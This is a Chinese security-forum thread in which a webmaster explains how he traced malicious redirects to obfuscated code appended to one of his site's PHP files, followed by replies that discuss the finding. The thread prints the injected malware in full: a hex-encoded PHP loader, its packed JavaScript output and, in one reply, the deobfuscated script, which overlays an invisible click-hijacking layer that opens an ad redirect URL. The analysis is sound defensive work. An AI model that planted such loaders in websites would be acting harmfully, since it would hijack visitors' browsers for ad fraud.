看雪论坛
发新帖

[原创]网页上被加了恶意代码,找了好久才发现,分享出来大家借鉴

pedisbest 2015-11-28 19:07 3457
恶意代码表现

网页是静态的html页面,包含有几个js文件以及百度的统计js和百度的分享js
发现多点击几次不同的网页,就会有一个其他的跳转链接被触发,开始是跳转到sogou上
最近几天是被跳转到淘宝的双十一页面,由此可以判断是恶意的跳转,有商业行为的那种了。
后来有跳转到一个什么游戏网站上。

查找问题
认真检查了网页包含的js文件,没有看到任何的恶意代码,百度的统计和分享就算有问题,也不可能跳转到淘宝去的,因此排除js的问题

最后看到文件中引用了php文件,刚开始也是看过这个php文件的,
之所以被刚开始没发现这个php文件的问题,原因如下:
1. 这个php文件的修改日期没有变化过,还是很早之前的日期
2. 这个php文件也不复杂,打开后浏览了前面一点,没有感觉异常,就关闭了。

今天再次查看这个php文件的时候,才注意到在文件的尾部被添加了一段奇怪的代码上去,跟最初的文件不一样了。 由此才发现问题肯定出自这里。

解决办法:
删除这段异常代码,然后重新上传文件后,恶意跳转消失了。

恶意代码程序:

function Class_UC_key($string){$array = strlen ($string);$debuger = '';for($one = 0;$one < $array;$one+=2) {$debuger .= pack ("C",hexdec (substr ($string,$one,2)));}return $debuger;}
             echo(Class_UC_key('6576616c2866756e6374696f6e28702c612c632c6b2c652c72297b653d66756e6374696f6e2863297b72657475726e28633c613f27273a65287061727365496e7428632f612929292b2828633d632561293e33353f537472696e672e66726f6d43686172436f646528632b3239293a632e746f537472696e6728333629297d3b6966282127272e7265706c616365282f5e2f2c537472696e6729297b7768696c6528632d2d29725b652863295d3d6b5b635d7c7c652863293b6b3d5b66756e6374696f6e2865297b72657475726e20725b655d7d5d3b653d66756e6374696f6e28297b72657475726e275c5c772b277d3b633d317d3b7768696c6528632d2d296966286b5b635d29703d702e7265706c616365286e65772052656745787028275c5c62272b652863292b275c5c62272c276727292c6b5b635d293b72657475726e20707d28273320393d5c2731303a2f2f742e752e792f443f483d5c273b37206a2861297b3320623d22223b3320633d612b223d223b3528322e342e683e30297b363d322e342e382863293b352836213d2d31297b362b3d632e683b653d322e342e3828223b222c36293b3528653d3d2d3129653d322e342e683b623d4b28322e342e4c28362c6529297d7d5020627d37206b28612c622c63297b3320643d22223b352863213d73297b643d6c206928286c20692829292e7628292b632a78293b643d223b2031313d222b642e4128297d322e343d612b223d222b422862292b642b223b433d2f227d3720672861297b3320613d612b4528322e46293b3320623d303b3320633d5c27475c273b3528216a28632926262162297b662e492861293b662e4a28293b623d313b6b28632c312c3132297d7d283728642c772c72297b3528286d2e6e2e38285c274d5c27293e3d30292626286d2e6e2e38285c274e5c27293c3029297b642e4f285c273c6f20513d22523a2070253b543a2070253b7a2d553a20563b573a20303b583a20303b593a205a3b2220713d22672839293b223e3c2f6f3e5c27297d537b642e713d3728297b672839297d7d7d2928322c662c39293b272c36322c36352c277c7c646f63756d656e747c7661727c636f6f6b69657c69667c6f66667365747c66756e6374696f6e7c696e6465784f667c6a757374666f7266756e7c7c7c7c7c656e647c77696e646f777c706f704f70656e7c6c656e6774687c446174657c636f6f6b69654765747c636f6f6b69655365747c6e65777c6e6176696761746f727c757365724167656e747c6469767c3130307c6f6e636c69636b7c7c6e756c6c7c6170697c6b756169387c67657454696d657c7c333630303030307c636f6d7c7c746f474d54537472696e677c6573636170657c706174687c6a756d707c656e636f6465555249436f6d706f6e656e747c7469746c657c506f705f6d616d617c77647c6f70656e7c666f6375737c756e6573636170657c737562737472696e677c4d5349457c4f706572617c77726974656c6e7c72657475726e7c7374796c657c6865696768747c656c73657c77696474687c696e6465787c3130303030307c746f707c6c6566747c706f736974696f6e7c66697865647c687474707c657870697265737c272e73706c697428277c27292c302c7b7d2929'));
             exit();        


php中看上去是做了编码处理,所以不知道具体含义,放在php中运行,以及结合网页文件是被包含在 script 中的,最后就得到了下面的 javascript 代码。

<script type='text/javascript' language='javascript'>
e val(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('3 9=\'10://t.u.y/D?H=\';7 j(a){3 b="";3 c=a+"=";5(2.4.h>0){6=2.4.8(c);5(6!=-1){6+=c.h;e=2.4.8(";",6);5(e==-1)e=2.4.h;b=K(2.4.L(6,e))}}P b}7 k(a,b,c){3 d="";5(c!=s){d=l i((l i()).v()+c*x);d="; 11="+d.A()}2.4=a+"="+B(b)+d+";C=/"}7 g(a){3 a=a+E(2.F);3 b=0;3 c=\'G\';5(!j(c)&&!b){f.I(a);f.J();b=1;k(c,1,12)}}(7(d,w,r){5((m.n.8(\'M\')>=0)&&(m.n.8(\'N\')<0)){d.O(\'<o Q="R: p%;T: p%;z-U: V;W: 0;X: 0;Y: Z;" q="g(9);"></o>\')}S{d.q=7(){g(9)}}})(2,f,9);',62,65,'||document|var|cookie|if|offset|function|indexOf|justforfun|||||end|window|popOpen|length|Date|cookieGet|cookieSet|new|navigator|userAgent|div|100|onclick||null|api|kuai8|getTime||3600000|com||toGMTString|escape|path|jump|encodeURIComponent|title|Pop_mama|wd|open|focus|unescape|substring|MSIE|Opera|writeln|return|style|height|else|width|index|100000|top|left|position|fixed|http|expires|'.split('|'),0,{}))
</script>


这点代码同样还是看的不怎么懂,但是后面有一段英文能看到几个关键字: api,  kuai8, com,  cookieSet, 3600000, onclick
结合之前打开网页的时候,跳转出了  api.kuai8.com  以及一旦跳转后,下次就不知道什么时候会再次触发可以看出, 一定是 cookieSet 设置了时间,而这个时间应该就是 3600000 了。

写这些代码的人真是太费心思了!!!

上面的代码根据上面的大意就是创建一个空白的 div , 高度为 100000 像素,并且设置cookie,并且通过cookie来判断下次点击是否跳转。

分析结束,希望对大家下次查找问题有帮助。
本主题帖已收到 0 次赞赏,累计¥0.00
最新回复 (19)
8
kanxue 2015-11-28 21:59
2
搞个WAF防火墙
或找些现成程序,监控文件内容是不是有变化,即时报警。
关键还是要把漏洞堵住。
zjjhszs 2015-11-28 22:32
3
一直都有这种广告性的代码,唉,杀不绝的,360,SOHO拼音,百度下载工具,独有这些流氓特性
rrrfff 2015-11-29 10:44
4
注意定期对比checksum
1
sxpp 2015-11-29 17:52
5
好像我电脑也是会自动跳转到这些广告页面,我目前没找到他怎么劫持的
白玉箫 2015-11-30 06:43
6
解密后结果如下:
var justforfun='http://api.kuai8.com/jump?wd=';function cookieGet(a){var b="";var c=a+"=";if(document.cookie.length>0){offset=document.cookie.indexOf(c);if(offset!=-1){offset+=c.length;end=document.cookie.indexOf(";",offset);if(end==-1)end=document.cookie.length;b=unescape(document.cookie.substring(offset,end))}}return b}function cookieSet(a,b,c){var d="";if(c!=null){d=new Date((new Date()).getTime()+c*3600000);d="; expires="+d.toGMTString()}document.cookie=a+"="+escape(b)+d+";path=/"}function popOpen(a){var a=a+encodeURIComponent(document.title);var b=0;var c='Pop_mama';if(!cookieGet(c)&&!b){window.open(a);window.focus();b=1;cookieSet(c,1,12)}}(function(d,w,r){if((navigator.userAgent.indexOf('MSIE')>=0)&&(navigator.userAgent.indexOf('Opera')<0)){d.writeln('<div style="height: 100%;width: 100%;z-index: 100000;top: 0;left: 0;position: fixed;" onclick="popOpen(justforfun);"></div>')}else{d.onclick=function(){popOpen(justforfun)}}})(document,window,justforfun);
alpse 2015-12-1 20:41
7
LZ好厉害, 这种函数嵌套的伪加密代码最不容易发现了
Hnily 2015-12-2 07:16
8
还是楼主细心和有耐心,这样都被你找出来
jobedward 2015-12-2 10:21
9
定期维护很重要,学习一下
思念Fly 2015-12-4 17:14
10
百度kuai8是一个游戏盒子的,并不像是黑客入侵的啊。而且他这段javascript写的真有水准,除了后面几个参数之外,其他的都看不懂,晕倒!
wwwyingyan 2015-12-8 14:37
11
看雪哥说的对,关键是要把漏洞堵住,其实WAF是拦截不了这种JS调用的,这个被感染的JS文件,并不能说明网站被人黑掉什么的,其实,很多ISP服务商都会做这样的事情,DNS污染,推广,至于原因嘛,你懂的,不能说太直白
jackqk 2016-3-30 23:22
12
楼主厉害的!
haaker 2016-3-31 23:20
13
这广告代码做的太花心思了。
vvkingc 2016-4-5 20:44
14
定期跳转到不同的网页是怎么实现的?  如果先跳转到一个固定网页之后再做跳转会不会更容易一点,难道是网页有后门,每次批量改的吗?
6
shayi 2016-4-22 11:02
15
这2段经模糊处理和编码后的代码,看上去不像是人工编写的,一定是通过某些 php 和 js 代码混淆工具,通过程序员的明文输入,输出密文,尤其是第一段中传给 Class_UC_key() 的参数,看起来像是SHA512 加密的,我就不信他手工写得出来;
第一段 php 作为第二段恶意 js 攻击载荷的释放器;通过 6 楼给出的 js 反模糊结果可以看出,
它会在页面动态生成一个 div ,一旦触发了该 div 的点击事件,则新开一个浏览器窗口(window.open()),窗口地址栏的 URL 就是变量 justforfun 的值:api.kuai8.com
除此之外,它还会通过 document.cookie 新增一个 cookie ,并设置过期时间为当前时间算起的 40天以后(360万秒)
从它跳转到商业广告性质的页面来看,不排除是负责 LZ 网站运维的主机托管商那里有内鬼/员工修改了你的正常 php 文件导致的(  变量 justforfun=开玩笑,动机应该不是恶意入侵)

比较好奇的是6楼使用的反模糊工具。。。。
zjacai 2016-5-20 22:36
16
关键在于补洞,一旦被攻入,就很难完全清理干净了
走在冷风中 2016-8-22 15:06
17
学习一下
那些记忆 2017-3-21 12:20
18

shayi 这2段经模糊处理和编码后的代码,看上去不像是人工编写的,一定是通过某些 php 和 js 代码混淆工具,通过程序员的明文输入,输出密文,尤其是第一段中传给 Class_UC_key() 的参数,看起来 ...

15楼可能是想知道6楼怎么得来的结果。 很简单,把看不懂那段Javascript放到调试器中

eval(
    function(){ 
    ......此处省略..... 
    return p//在这里下断点,然后这个p就是明文Javascript。 
    }
    (...此处省略...)
);


白玉箫 2017-4-7 19:12
19
那些记忆 shayi 这2段经模糊处理和编码后的代码,看上去不像是人工编写的,一定是通过某些 php 和 js 代码混淆工具,通过程序员的明文输入,输 ...
没那么复杂  直接把eval换成alert
ronle 2017-4-20 14:11
20
除开eval,然后document.write(加密的代码),浏览器运行也是源码
返回



©2000-2017 看雪学院 | Based on Xiuno BBS | 知道创宇带宽支持 | 微信公众号:ikanxue
Time: 0.014, SQL: 11 / 京ICP备10040895号-17